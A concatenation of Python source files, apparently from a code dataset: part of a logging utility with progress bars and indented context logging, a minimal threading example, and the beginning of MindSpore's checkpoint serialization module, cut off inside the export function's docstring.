self._last_line = compact(uncolored(self._format(record).split("\n")[0]).strip()[8:])
self._event.set()
def set_message(self, msg):
msg = msg.replace("|..|", "|__PB__"+INDENT_SEGMENT[3])
self._last_line = "|" + compact(msg)
self._event.set()
@contextmanager
def __call__(self):
if not GRAPHICAL:
yield self
return
handler = get_console_handler()
with self._lock:
self._depth += 1
if self._depth == 1:
self.set_message("Waiting...")
self._stop = False
self._timer = Timer()
self._format = handler.formatter.format if handler else lambda record: record.getMessage()
self._thread = threading.Thread(target=self.loop, name="ProgressBar", daemon=True)
self._thread.start()
try:
yield self
finally:
with self._lock:
self._depth -= 1
if self._depth <= 0:
self._stop = True
self._event.set()
self._thread.join()
self._thread = None
class ProgressHandler(logging.NullHandler):
def handle(self, record):
PROGRESS_BAR.progress(record)
PROGRESS_BAR = ProgressBar()
class AbortedException(BaseException):
""" Aborted base class
Exceptions that inherit from this class will show as ABORTED in logger.indented
"""
class ContextLoggerMixin(object):
_debuggifier = LogLevelClamp()
@contextmanager
def context(self, context=None, indent=False, progress_bar=False, **kw):
if context:
kw['context'] = context
with ExitStack() as stack:
stack.enter_context(THREAD_LOGGING_CONTEXT(kw))
timing = kw.pop("timing", True)
if indent:
header = indent if isinstance(indent, str) else ("[%s]" % context)
stack.enter_context(self.indented(header=header, timing=timing))
if progress_bar:
stack.enter_context(self.progress_bar())
yield
def suppressed(self):
"""
Context manager - Supress all logging to the console from the calling thread
"""
return ThreadControl.CONTEXT(silenced=True)
def solo(self):
"""
Context manager - Allow logging to the console from the calling thread only
"""
return ThreadControl.solo()
@contextmanager
def indented(self, header=None, *args, level=logging.INFO1, timing=True, footer=True):
header = compact((header % args) if header else "")
self._log(level, "WHITE@{%s}@" % header, (), extra=dict(drawing=INDENT_OPEN))
with ExitStack() as stack:
stack.enter_context(THREAD_LOGGING_CONTEXT(indentation=1))
get_duration = lambda: ""
if timing:
timer = stack.enter_context(timing_context())
get_duration = lambda: " in DARK_MAGENTA<<{:text}>>".format(timer.duration)
def footer_log(color, title, drawing):
if footer:
self._log(level, "%s@{%s}@%s (%s)", (color, title, get_duration(), header), extra=dict(drawing=drawing))
else:
self._log(level, "", (), extra=dict(drawing=drawing))
try:
yield
except (KeyboardInterrupt, AbortedException):
footer_log("CYAN", "ABORTED", INDENT_EXCEPTION)
raise
except GeneratorExit:
footer_log("DARK_GRAY", "DONE", INDENT_CLOSE)
except:
footer_log("RED", "FAILED", INDENT_EXCEPTION)
raise
else:
footer_log("DARK_GRAY", "DONE", INDENT_CLOSE)
def error_box(self, *exc, extra=None):
if len(exc)==1:
exc, = exc
typ = type(exc)
tb = None
else:
typ, exc, tb = exc
header = "%s.%s" % (typ.__module__, typ.__name__)
self.error("YELLOW@{%s}@ RED@{%s}@", header, LINE*(80-len(header)-1), extra=dict(drawing=RED(INDENT_OPEN)))
with THREAD_LOGGING_CONTEXT(indentation=1, drawing=RED(INDENT_SEGMENT)):
if hasattr(exc, "render") and callable(exc.render):
exc_text = exc.render()
elif tb:
fmt = "DARK_GRAY@{{{}}}@"
full_traceback = "".join(traceback.format_exception(typ, exc, tb))
exc_text = "\n".join(map(fmt.format, full_traceback.splitlines()))
else:
exc_text = str(exc)
for line in exc_text.splitlines():
self.error(line)
if extra:
for line in extra.splitlines():
self.error(line)
self.error("RED@{%s}@", DOUBLE_LINE*80, extra=dict(drawing=RED(INDENT_EXCEPTION)))
_progressing = False
@contextmanager
def progress_bar(self):
if not GRAPHICAL:
with PROGRESS_BAR() as pb:
yield pb
return
with ExitStack() as stack:
if not self.__class__._progressing:
self.addFilter(self._debuggifier)
stack.callback(self.removeFilter, self._debuggifier)
stack.enter_context(PROGRESS_BAR())
self.__class__._progressing = True
stack.callback(setattr, self.__class__, "_progressing", False)
yield PROGRESS_BAR
def silent_exception(self, message, *args, **kwargs):
"like ``exception()``, only emits the traceback in debug level"
self.error(message, *args, **kwargs)
self.debug('Traceback:', exc_info=True)
def __rand__(self, cmd):
return cmd & self.pipe(logging.INFO, logging.INFO)
def pipe(self, err_level=logging.DEBUG, out_level=logging.INFO, prefix=None, line_timeout=10 * 60, **kw):
class LogPipe(object):
def __rand__(_, cmd):
popen = cmd if hasattr(cmd, "iter_lines") else cmd.popen()
for out, err in popen.iter_lines(line_timeout=line_timeout, **kw):
for level, line in [(out_level, out), (err_level, err)]:
if not line:
continue
for l in line.splitlines():
if prefix:
l = "%s: %s" % (prefix, l)
self.log(level, l)
return popen.returncode
return LogPipe()
def pipe_info(self, prefix=None, **kw):
return self.pipe(logging.INFO, logging.INFO, prefix=prefix, **kw)
def pipe_debug(self, prefix=None, **kw):
return self.pipe(logging.DEBUG, logging.DEBUG, prefix=prefix, **kw)
def info1(self, *args, **kwargs):
return self.log(logging.INFO1, *args, **kwargs)
def announced_vars(self, header='With locals:', *args, **kwargs):
"Announces the variables declared in the context"
import inspect
frame = inspect.currentframe().f_back
# `@contextmanager` annotates an internal `cm` function instead of the
# `announced_vars` method so that `inspect.currentframe().f_back` will
# point to the frame that uses `announced_vars`. If we decoraed
# `announced_vars` with `@contextmanager`, we'd have to depend on
# implementation details of `@contextmanager` - currently
# `inspect.currentframe().f_back.f_back` would have worked, but we have
# no guarantee that it'll remain like this forever.
@contextmanager
def cm():
old_local_names = set(frame.f_locals.keys())
yield
new_locals = frame.f_locals
with ExitStack() as stack:
if header:
stack.enter_context(self.indented(header, *args, footer=False, **kwargs))
# Traverse co_varnames to retain order
for name in frame.f_code.co_varnames:
if name not in old_local_names and name in new_locals:
self.info('%s = %s', name, new_locals[name])
# Print the names we somehow missed(because they weren't in co_varnames - it can happen!)
for name in (new_locals.keys() - old_local_names - set(frame.f_code.co_varnames)):
self.info('%s = %s', name, new_locals[name])
return cm()
if not issubclass(logging.Logger, ContextLoggerMixin):
logging.Logger.__bases__ = logging.Logger.__bases__ + (ContextLoggerMixin,)
def makeRecord(self, name, level, fn, lno, msg, args, exc_info, func=None, extra=None, sinfo=None):
drawing = INDENT_SEGMENT
rv = logging.Logger._makeRecord(self, name, level, fn, lno, msg, args, exc_info, func=func, sinfo=sinfo)
if extra is not None:
drawing = extra.pop('drawing', drawing)
for key in extra:
if (key in ["message", "asctime"]) or (key in rv.__dict__):
raise KeyError("Attempt to overwrite %r in LogRecord" % key)
rv.__dict__[key] = extra[key]
contexts = THREAD_LOGGING_CONTEXT.context
extra = THREAD_LOGGING_CONTEXT.flatten()
extra['context'] = "[%s]" % ";".join(contexts) if contexts else ""
rv.__dict__.update(dict(extra, **rv.__dict__))
indents = chain(repeat(INDENT_SEGMENT, rv.indentation), repeat(drawing, 1))
rv.drawing = "".join(color(segment) for color, segment in zip(cycle(INDENT_COLORS), indents))
return rv
logging.Logger._makeRecord, logging.Logger.makeRecord = logging.Logger.makeRecord, makeRecord
class HeartbeatHandler(logging.Handler):
"Heartbeat notifications based on the application's logging activity"
def __init__(self, beat_func, min_interval=1, **kw):
"""
@param beat_func: calls this function when a heartbeat is due
@param min_interval: minimum time interval between heartbeats
"""
super(HeartbeatHandler, self).__init__(**kw)
self.min_interval = min_interval
self.last_beat = 0
self.beat = beat_func
self._emitting = False
def emit(self, record):
if self._emitting:
# prevent reenterance
return
try:
self._emitting = True
if (record.created - self.last_beat) > self.min_interval:
try:
log_message = self.format(record)
except:
log_message = "Log record formatting error (%s:#%s)" % (record.filename, record.lineno)
self.beat(log_message=log_message, heartbeat=record.created)
self.last_beat = record.created
finally:
self._emitting = False
def log_context(method=None, **ctx):
if not method:
return partial(log_context, **ctx)
@wraps(method)
def inner(*args, **kwargs):
context = {k: fmt.format(*args, **kwargs) for k, fmt in ctx.items()}
with THREAD_LOGGING_CONTEXT(context):
return method(*args, **kwargs)
return inner
#=====================#=====================#=====================#
# This monkey-patch tricks logging's findCaller into skipping over
# this module when looking for the caller of a logger.log function
try:
# restore, in case we've already mocked this, as when running unit-tests
logging._srcfile = logging._orig_srcfile
except AttributeError:
logging._orig_srcfile = logging._srcfile
class _SrcFiles:
_srcfiles = {logging._srcfile, __file__}
def __eq__(self, fname):
return fname in self.__class__._srcfiles
logging._srcfile = _SrcFiles()
#=====================#=====================#=====================#
_root = __file__[:__file__.find(os.sep.join(__name__.split(".")))]
def _trim(pathname, modname, cache={}):
try:
return cache[(pathname, modname)]
except KeyError:
pass
elems = pathname.replace(_root, "").strip(".").split(os.sep)[:-1]
if modname != "__init__":
elems.append(modname)
ret = cache[(pathname, modname)] = filter(None, elems)
return ret
|
threads.py | from threading import Thread
def hello(name):
print("hello " + name)
th = Thread(target= hello, args=("bob", ))
th.start()
th.join() |
serialization.py | # Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""Model and parameters serialization."""
import os
import sys
import stat
import math
import shutil
import time
import copy
import threading
from threading import Thread, Lock
from collections import defaultdict
import numpy as np
import mindspore.nn as nn
import mindspore.context as context
from mindspore import log as logger
from mindspore.train.checkpoint_pb2 import Checkpoint
from mindspore.train.print_pb2 import Print
from mindspore.train.node_strategy_pb2 import ParallelStrategyMap, ParallelLayouts
from mindspore.train.mind_ir_pb2 import ModelProto as mindir_model
from mindspore.train.mind_ir_pb2 import GraphProto as graph_proto
from mindspore.common.tensor import Tensor
from mindspore.common.initializer import initializer
from mindspore.common.parameter import Parameter
from mindspore.common.api import _executor
from mindspore.common import dtype as mstype
from mindspore._checkparam import check_input_data, Validator
from mindspore.compression.export import quant_export
from mindspore.parallel._tensor import _load_tensor, _get_tensor_strategy, _get_tensor_slice_index
from mindspore.parallel._utils import _infer_rank_list, _remove_repeated_slices
from mindspore.communication.management import get_rank, get_group_size
from .._c_expression import load_mindir, _encrypt, _decrypt, _is_cipher_file
tensor_to_ms_type = {"Int8": mstype.int8, "Uint8": mstype.uint8, "Int16": mstype.int16, "Uint16": mstype.uint16,
"Int32": mstype.int32, "Uint32": mstype.uint32, "Int64": mstype.int64, "Uint64": mstype.uint64,
"Float16": mstype.float16, "Float32": mstype.float32, "Float64": mstype.float64,
"Bool": mstype.bool_}
tensor_to_np_type = {"Int8": np.int8, "Uint8": np.uint8, "Int16": np.int16, "Uint16": np.uint16,
"Int32": np.int32, "Uint32": np.uint32, "Int64": np.int64, "Uint64": np.uint64,
"Float16": np.float16, "Float32": np.float32, "Float64": np.float64, "Bool": np.bool_}
_ckpt_mutex = Lock()
# unit is KB
SLICE_SIZE = 512 * 1024
PROTO_LIMIT_SIZE = 1024 * 1024 * 2
TOTAL_SAVE = 1024 * 1024
def _special_process_par(par, new_par):
"""
Processes the special condition.
Like (12,2048,1,1)->(12,2048), this case is caused by GE 4 dimensions tensor.
"""
par_shape_len = len(par.data.shape)
new_par_shape_len = len(new_par.data.shape)
if new_par_shape_len <= par_shape_len:
return False
for i in range(new_par_shape_len - par_shape_len):
if new_par.data.shape[par_shape_len + i] != 1:
return False
new_val = new_par.data.asnumpy()
new_val = new_val.reshape(par.data.shape)
par.set_data(Tensor(new_val, par.data.dtype))
return True
def _update_param(param, new_param, strict_load):
"""Updates param's data from new_param's data."""
if isinstance(param.data, Tensor) and isinstance(new_param.data, Tensor):
if param.data.shape != new_param.data.shape:
if not _special_process_par(param, new_param):
logger.error("Failed to combine the net and the parameters for param %s.", param.name)
msg = ("Net parameters {} shape({}) different from parameter_dict's({})"
.format(param.name, param.data.shape, new_param.data.shape))
raise RuntimeError(msg)
if param.data.dtype != new_param.data.dtype:
if _type_convert(param, new_param, strict_load):
new_tensor = Tensor(new_param.data.asnumpy(), param.data.dtype)
param.set_data(new_tensor)
return
logger.error("Failed to combine the net and the parameters for param %s.", param.name)
msg = ("Net parameters {} type({}) different from parameter_dict's({})"
.format(param.name, param.data.dtype, new_param.data.dtype))
raise RuntimeError(msg)
param.set_data(new_param.data, param.sliced)
return
if isinstance(param.data, Tensor) and not isinstance(new_param.data, Tensor):
if param.data.shape != (1,) and param.data.shape != ():
logger.error("Failed to combine the net and the parameters for param %s.", param.name)
msg = ("Net parameters {} shape({}) is not (1,), inconsistent with parameter_dict's(scalar)."
.format(param.name, param.data.shape))
raise RuntimeError(msg)
param.set_data(initializer(new_param.data, param.data.shape, param.data.dtype))
elif isinstance(new_param.data, Tensor) and not isinstance(param.data, Tensor):
logger.error("Failed to combine the net and the parameters for param %s.", param.name)
msg = ("Net parameters {} type({}) different from parameter_dict's({})"
.format(param.name, type(param.data), type(new_param.data)))
raise RuntimeError(msg)
else:
param.set_data(type(param.data)(new_param.data))
def _type_convert(param, new_param, strict_load):
"""Whether to convert parameter's type during load checkpoint into network."""
float_type = (mstype.float16, mstype.float32, mstype.float64)
int_type = (mstype.int8, mstype.int16, mstype.int32, mstype.int64)
if not strict_load and ({param.data.dtype, new_param.data.dtype}.issubset(float_type) or
{param.data.dtype, new_param.data.dtype}.issubset(int_type)):
logger.warning("ckpt_dict parameter: {}'s type is {}, convert to {} in the network."
.format(new_param.name, new_param.data.dtype, param.data.dtype))
return True
return False
def _exec_save(ckpt_file_name, data_list, enc_key=None, enc_mode="AES-GCM"):
"""Execute the process of saving checkpoint into file."""
try:
with _ckpt_mutex:
if os.path.exists(ckpt_file_name):
os.remove(ckpt_file_name)
with open(ckpt_file_name, "ab") as f:
if enc_key is not None:
plain_data = bytes(0)
cipher_data = bytes(0)
for name, value in data_list.items():
data_size = value[2].nbytes / 1024
if data_size > SLICE_SIZE:
slice_count = math.ceil(data_size / SLICE_SIZE)
param_slice_list = np.array_split(value[2], slice_count)
else:
param_slice_list = [value[2]]
for param_slice in param_slice_list:
checkpoint_list = Checkpoint()
param_value = checkpoint_list.value.add()
param_value.tag = name
param_tensor = param_value.tensor
param_tensor.dims.extend(value[0])
param_tensor.tensor_type = value[1]
param_tensor.tensor_content = param_slice.tobytes()
if enc_key is None:
f.write(checkpoint_list.SerializeToString())
else:
plain_data += checkpoint_list.SerializeToString()
max_block_size = SLICE_SIZE*1024
while len(plain_data) >= max_block_size:
cipher_data += _encrypt(plain_data[0: max_block_size], max_block_size, enc_key,
len(enc_key), enc_mode)
plain_data = plain_data[max_block_size:]
if enc_key is not None:
if plain_data:
cipher_data += _encrypt(plain_data, len(plain_data), enc_key, len(enc_key), enc_mode)
f.write(cipher_data)
os.chmod(ckpt_file_name, stat.S_IRUSR)
except BaseException as e:
logger.error("Failed to save the checkpoint file %s.", ckpt_file_name)
raise e
def save_checkpoint(save_obj, ckpt_file_name, integrated_save=True,
async_save=False, append_dict=None, enc_key=None, enc_mode="AES-GCM"):
"""
Saves checkpoint info to a specified file.
Args:
save_obj (Union[Cell, list]): The cell object or data list(each element is a dictionary, like
[{"name": param_name, "data": param_data},...], the type of
param_name would be string, and the type of param_data would
be parameter or Tensor).
ckpt_file_name (str): Checkpoint file name. If the file name already exists, it will be overwritten.
integrated_save (bool): Whether to integrated save in automatic model parallel scene. Default: True
async_save (bool): Whether asynchronous execution saves the checkpoint to a file. Default: False
append_dict (dict): Additional information that needs to be saved. The key of dict must be str,
the value of dict must be one of int float and bool. Default: None
enc_key (Union[None, bytes]): Byte type key used for encryption. If the value is None, the encryption
is not required. Default: None.
enc_mode (str): This parameter is valid only when enc_key is not set to None. Specifies the encryption
mode, currently supports 'AES-GCM' and 'AES-CBC'. Default: 'AES-GCM'.
Raises:
TypeError: If the parameter save_obj is not `nn.Cell` or list type. And if the parameter
`integrated_save` and `async_save` are not bool type.
Examples:
>>> from mindspore import save_checkpoint
>>>
>>> net = Net()
>>> save_checkpoint(net, "lenet.ckpt")
"""
if not isinstance(save_obj, nn.Cell) and not isinstance(save_obj, list):
raise TypeError("The parameter save_obj should be nn.Cell or list, but got {}".format(type(save_obj)))
integrated_save = Validator.check_bool(integrated_save)
async_save = Validator.check_bool(async_save)
append_dict = _check_append_dict(append_dict)
enc_key = Validator.check_isinstance('enc_key', enc_key, (type(None), bytes))
enc_mode = Validator.check_isinstance('enc_mode', enc_mode, str)
logger.info("Execute the process of saving checkpoint files.")
if isinstance(save_obj, nn.Cell):
save_obj.init_parameters_data()
param_dict = {}
for _, param in save_obj.parameters_and_names():
param_dict[param.name] = param
param_list = []
for (key, value) in param_dict.items():
each_param = {"name": key}
param_data = Tensor(value.data)
# in automatic model parallel scenario, some parameters were spliteds to all the devices,
# which should be combined before saving
if key in save_obj.parameter_layout_dict:
param_data = _get_merged_param_data(save_obj, key, param_data, integrated_save)
each_param["data"] = param_data
param_list.append(each_param)
save_obj = param_list
if append_dict:
append_info_list = []
for k_name, value in append_dict.items():
append_info_list.append({"name": k_name, "data": Tensor(value)})
save_obj.extend(append_info_list)
data_list = {}
with _ckpt_mutex:
for param in save_obj:
key = param["name"]
data_list[key] = []
if isinstance(param["data"], Parameter):
param["data"].init_data()
dims = []
if param['data'].shape == ():
dims.append(0)
else:
for dim in param['data'].shape:
dims.append(dim)
data_list[key].append(dims)
tensor_type = str(param["data"].dtype)
data_list[key].append(tensor_type)
data = param["data"].asnumpy().reshape(-1)
data_list[key].append(data)
if async_save:
thr = Thread(target=_exec_save, args=(ckpt_file_name, data_list, enc_key, enc_mode), name="asyn_save_ckpt")
thr.start()
else:
_exec_save(ckpt_file_name, data_list, enc_key, enc_mode)
logger.info("Saving checkpoint process is finished.")
def _check_param_prefix(filter_prefix, param_name):
"""Checks whether the prefix of parameter name matches the given filter_prefix."""
for prefix in filter_prefix:
if param_name.find(prefix) == 0 \
and (param_name == prefix or param_name[len(prefix)] == "." or (prefix and prefix[-1] == ".")):
return True
return False
def _check_append_dict(append_dict):
if append_dict is None:
return append_dict
if not isinstance(append_dict, dict):
raise TypeError(f"The type of append_dict must dict, but got {str(type(append_dict))}.")
if not all(isinstance(ele, str) for ele in append_dict.keys()) or \
not all(isinstance(ele, (int, float, bool)) for ele in append_dict.values()):
raise TypeError(f"The type of element in append_dict must be key: str, value: int or float.")
return append_dict
def load(file_name, **kwargs):
"""
Load MindIR.
The returned object can be executed by a `GraphCell`, see class :class:`mindspore.nn.GraphCell` for more details.
Args:
file_name (str): MindIR file name.
kwargs (dict): Configuration options dictionary.
- dec_key (bytes): Byte type key used for decryption. Tha valid length is 16, 24, or 32.
- dec_mode (str): Specifies the decryption mode, take effect when dec_key is set.
Option: 'AES-GCM' | 'AES-CBC'. Default: 'AES-GCM'.
Returns:
Object, a compiled graph that can executed by `GraphCell`.
Raises:
ValueError: MindIR file name is incorrect.
RuntimeError: Failed to parse MindIR file.
Examples:
>>> import numpy as np
>>> import mindspore.nn as nn
>>> from mindspore import Tensor
>>> from mindspore.train import export, load
>>>
>>> net = nn.Conv2d(1, 1, kernel_size=3, weight_init="ones")
>>> input = Tensor(np.ones([1, 1, 3, 3]).astype(np.float32))
>>> export(net, input, file_name="net", file_format="MINDIR")
>>> graph = load("net.mindir")
>>> net = nn.GraphCell(graph)
>>> output = net(input)
>>> print(output)
[[[[4. 6. 4.]
[6. 9. 6.]
[4. 6. 4.]]]]
"""
if not isinstance(file_name, str):
raise ValueError("The file name must be string.")
if not os.path.exists(file_name):
raise ValueError("The file does not exist.")
if not file_name.endswith(".mindir"):
raise ValueError("The MindIR should end with mindir, please input the correct file name.")
logger.info("Execute the process of loading mindir.")
if 'dec_key' in kwargs.keys():
dec_key = Validator.check_isinstance('dec_key', kwargs['dec_key'], bytes)
dec_mode = 'AES-GCM'
if 'dec_mode' in kwargs.keys():
dec_mode = Validator.check_isinstance('dec_mode', kwargs['dec_mode'], str)
graph = load_mindir(file_name, dec_key=dec_key, key_len=len(dec_key), dec_mode=dec_mode)
else:
graph = load_mindir(file_name)
if graph is None:
if _is_cipher_file(file_name):
raise RuntimeError("Load MindIR failed. The file may be encrypted, please pass in the "
"correct dec_key and dec_mode.")
raise RuntimeError("Load MindIR failed.")
return graph
def load_checkpoint(ckpt_file_name, net=None, strict_load=False, filter_prefix=None, dec_key=None, dec_mode="AES-GCM"):
"""
Loads checkpoint info from a specified file.
Args:
ckpt_file_name (str): Checkpoint file name.
net (Cell): Cell network. Default: None
strict_load (bool): Whether to strict load the parameter into net. If False, it will load parameter
in the param_dict into net with the same suffix and load
parameter with different accuracy. Default: False.
filter_prefix (Union[str, list[str], tuple[str]]): Parameters starting with the filter_prefix
will not be loaded. Default: None.
dec_key (Union[None, bytes]): Byte type key used for decryption. If the value is None, the decryption
is not required. Default: None.
dec_mode (str): This parameter is valid only when dec_key is not set to None. Specifies the decryption
mode, currently supports 'AES-GCM' and 'AES-CBC'. Default: 'AES-GCM'.
Returns:
Dict, key is parameter name, value is a Parameter.
Raises:
ValueError: Checkpoint file is incorrect.
Examples:
>>> from mindspore import load_checkpoint
>>>
>>> ckpt_file_name = "./checkpoint/LeNet5-1_32.ckpt"
>>> param_dict = load_checkpoint(ckpt_file_name, filter_prefix="conv1")
>>> print(param_dict["conv2.weight"])
Parameter (name=conv2.weight, shape=(16, 6, 5, 5), dtype=Float32, requires_grad=True)
"""
ckpt_file_name, filter_prefix = _check_checkpoint_param(ckpt_file_name, filter_prefix)
dec_key = Validator.check_isinstance('dec_key', dec_key, (type(None), bytes))
dec_mode = Validator.check_isinstance('dec_mode', dec_mode, str)
logger.info("Execute the process of loading checkpoint files.")
checkpoint_list = Checkpoint()
try:
if dec_key is None:
with open(ckpt_file_name, "rb") as f:
pb_content = f.read()
else:
pb_content = _decrypt(ckpt_file_name, dec_key, len(dec_key), dec_mode)
if pb_content is None:
raise ValueError
checkpoint_list.ParseFromString(pb_content)
except BaseException as e:
if _is_cipher_file(ckpt_file_name):
logger.error("Failed to read the checkpoint file `%s`. The file may be encrypted, please pass in the "
"correct dec_key.", ckpt_file_name)
else:
logger.error("Failed to read the checkpoint file `%s`, please check the correct of the file.", \
ckpt_file_name)
raise ValueError(e.__str__())
parameter_dict = {}
try:
param_data_list = []
for element_id, element in enumerate(checkpoint_list.value):
if filter_prefix is not None and _check_param_prefix(filter_prefix, element.tag):
continue
data = element.tensor.tensor_content
data_type = element.tensor.tensor_type
np_type = tensor_to_np_type[data_type]
ms_type = tensor_to_ms_type[data_type]
element_data = np.frombuffer(data, np_type)
param_data_list.append(element_data)
if (element_id == len(checkpoint_list.value) - 1) or \
(element.tag != checkpoint_list.value[element_id + 1].tag):
param_data = np.concatenate((param_data_list), axis=0)
param_data_list.clear()
dims = element.tensor.dims
if dims == [0]:
if 'Float' in data_type:
param_data = float(param_data[0])
elif 'Int' in data_type:
param_data = int(param_data[0])
parameter_dict[element.tag] = Parameter(Tensor(param_data, ms_type), name=element.tag)
elif dims == [1]:
parameter_dict[element.tag] = Parameter(Tensor(param_data, ms_type), name=element.tag)
else:
param_dim = []
for dim in dims:
param_dim.append(dim)
param_value = param_data.reshape(param_dim)
parameter_dict[element.tag] = Parameter(Tensor(param_value, ms_type), name=element.tag)
logger.info("Loading checkpoint files process is finished.")
except BaseException as e:
logger.error("Failed to load the checkpoint file `%s`.", ckpt_file_name)
raise RuntimeError(e.__str__())
if not parameter_dict:
raise ValueError(f"The loaded parameter dict is empty after filtering, please check filter_prefix.")
if net is not None:
load_param_into_net(net, parameter_dict, strict_load)
return parameter_dict
def _check_checkpoint_param(ckpt_file_name, filter_prefix=None):
"""Check function load_checkpoint's parameter."""
if not isinstance(ckpt_file_name, str):
raise ValueError("The ckpt_file_name must be string.")
if not os.path.exists(ckpt_file_name):
raise ValueError("The checkpoint file does not exist.")
if ckpt_file_name[-5:] != ".ckpt":
raise ValueError("Please input the correct checkpoint file name.")
if filter_prefix is not None:
if not isinstance(filter_prefix, (str, list, tuple)):
raise TypeError(f"The type of filter_prefix must be str, list[str] or tuple[str] "
f"when filter_prefix is not None, but got {str(type(filter_prefix))}.")
if isinstance(filter_prefix, str):
filter_prefix = (filter_prefix,)
if not filter_prefix:
raise ValueError("The filter_prefix can't be empty when filter_prefix is list or tuple.")
for index, prefix in enumerate(filter_prefix):
if not isinstance(prefix, str):
raise TypeError(f"The type of filter_prefix must be str, list[str] or tuple[str], "
f"but got {str(type(prefix))} at index {index}.")
return ckpt_file_name, filter_prefix
def load_param_into_net(net, parameter_dict, strict_load=False):
"""
Loads parameters into network.
Args:
net (Cell): Cell network.
parameter_dict (dict): Parameter dictionary.
strict_load (bool): Whether to strict load the parameter into net. If False, it will load parameter
in the param_dict into net with the same suffix and load
parameter with different accuracy. Default: False.
Returns:
List, parameters not loaded in the network.
Raises:
TypeError: Argument is not a Cell, or parameter_dict is not a Parameter dictionary.
Examples:
>>> from mindspore import load_checkpoint, load_param_into_net
>>>
>>> net = Net()
>>> ckpt_file_name = "./checkpoint/LeNet5-1_32.ckpt"
>>> param_dict = load_checkpoint(ckpt_file_name, filter_prefix="conv1")
>>> param_not_load = load_param_into_net(net, param_dict)
>>> print(param_not_load)
['conv1.weight']
"""
if not isinstance(net, nn.Cell):
logger.error("Failed to combine the net and the parameters.")
msg = ("Argument net should be a Cell, but got {}.".format(type(net)))
raise TypeError(msg)
if not isinstance(parameter_dict, dict):
logger.error("Failed to combine the net and the parameters.")
msg = ("Argument parameter_dict should be a dict, but got {}.".format(type(parameter_dict)))
raise TypeError(msg)
strict_load = Validator.check_bool(strict_load)
logger.info("Execute the process of loading parameters into net.")
net.init_parameters_data()
param_not_load = []
for _, param in net.parameters_and_names():
if param.name in parameter_dict:
new_param = parameter_dict[param.name]
if not isinstance(new_param, Parameter):
logger.error("Failed to combine the net and the parameters.")
msg = ("Argument parameter_dict element should be a Parameter, but got {}.".format(type(new_param)))
raise TypeError(msg)
_update_param(param, new_param, strict_load)
else:
param_not_load.append(param.name)
if param_not_load and not strict_load:
_load_dismatch_prefix_params(net, parameter_dict, param_not_load, strict_load)
logger.debug("Params not matched(in net but not in parameter_dict):")
for param_name in param_not_load:
logger.debug("%s", param_name)
logger.info("Loading parameters into net is finished.")
if param_not_load:
logger.warning("{} parameters in the net are not loaded.".format(len(param_not_load)))
for param_name in param_not_load:
logger.warning("{} is not loaded.".format(param_name))
return param_not_load
def _load_dismatch_prefix_params(net, parameter_dict, param_not_load, strict_load):
"""When some net parameter did not load, try to continue load."""
prefix_name = ""
longest_name = param_not_load[0]
while prefix_name != longest_name and param_not_load:
logger.debug("Count: {} parameters has not been loaded, try to load continue.".format(len(param_not_load)))
prefix_name = longest_name
for net_param_name in param_not_load:
for dict_name in parameter_dict:
if dict_name.endswith(net_param_name):
prefix_name = dict_name[:-len(net_param_name)]
break
if prefix_name != longest_name:
break
if prefix_name != longest_name:
logger.warning("Remove parameter prefix name: {}, continue to load.".format(prefix_name))
for _, param in net.parameters_and_names():
new_param_name = prefix_name + param.name
if param.name in param_not_load and new_param_name in parameter_dict:
new_param = parameter_dict[new_param_name]
_update_param(param, new_param, strict_load)
param_not_load.remove(param.name)
def _save_graph(network, file_name):
"""
Saves the graph of network to a file.
Args:
network (Cell): Obtain a pipeline through network for saving graph.
file_name (str): Graph file name into which the graph will be saved.
"""
logger.info("Execute the process of saving graph.")
graph_pb = network.get_func_graph_proto()
if graph_pb:
with open(file_name, "wb") as f:
os.chmod(file_name, stat.S_IRUSR | stat.S_IWUSR)
f.write(graph_pb)
def _get_merged_param_data(net, param_name, param_data, integrated_save):
"""
Gets the merged data(tensor) from tensor slice, by device arrangement and tensor map.
Args:
net (Cell): MindSpore network.
param_name (str): The parameter name, which to be combined.
param_data (Tensor): The parameter data on the local device, which was a slice of the whole parameter data.
integrated_save (bool): Whether to integrated save in automatic model parallel scene.
Returns:
Tensor, the combined tensor which with the whole data value.
"""
from mindspore.parallel._cell_wrapper import get_allgather_cell
from mindspore.parallel._tensor import _reshape_param_data
layout = net.parameter_layout_dict[param_name]
if len(layout) < 6:
logger.info("layout dict does not contain the key %s", param_name)
return param_data
dev_mat = layout[0]
tensor_map = layout[1]
uniform_split = layout[4]
opt_shard_group = layout[5]
allgather_net = None
mp_weight = False
for dim in tensor_map:
if dim != -1:
mp_weight = True
break
if param_name in net.parallel_parameter_merge_net_dict:
allgather_net = net.parallel_parameter_merge_net_dict[param_name]
else:
logger.info("need to create allgather net for %s", param_name)
if integrated_save:
if uniform_split == 0:
raise RuntimeError("Integrated save checkpoint only support uniform split tensor now.")
# while any dim is not equal to -1, means param is split and needs to be merged
# pipeline parallel need to be supported here later
if mp_weight:
allgather_net = get_allgather_cell(opt_shard_group, bool(opt_shard_group))
elif opt_shard_group:
allgather_net = get_allgather_cell(opt_shard_group, False)
elif opt_shard_group and context.get_auto_parallel_context("optimizer_weight_shard_aggregated_save"):
allgather_net = get_allgather_cell(opt_shard_group, False)
net.parallel_parameter_merge_net_dict[param_name] = allgather_net
if allgather_net:
param_data = allgather_net(param_data)
if mp_weight and integrated_save:
param_data = _reshape_param_data(param_data, dev_mat, tensor_map)
return param_data
def _fill_param_into_net(net, parameter_list):
"""
Fills parameter_list into net.
Args:
net (Cell): train network.
parameter_list (list): parameters list from ge callback.
"""
parameter_dict = {}
for each_param in parameter_list:
param_name = each_param["name"]
if isinstance(each_param["data"], Parameter):
each_param["data"].init_data()
np_val = each_param["data"].asnumpy()
if np_val.shape == (1,):
parameter_dict[param_name] = Parameter(np_val, name=param_name)
elif np_val.shape == ():
parameter_dict[param_name] = Parameter(Tensor(np_val.tolist(), mstype.pytype_to_dtype(np_val.dtype)),
name=param_name)
else:
parameter_dict[param_name] = Parameter(Tensor(np_val), name=param_name)
load_param_into_net(net, parameter_dict)
def export(net, *inputs, file_name, file_format='AIR', **kwargs):
"""
Export the MindSpore prediction model to a file in the specified format.
Note:
When exporting to AIR、ONNX format, the size of a single tensor can not exceed 2GB.
Args:
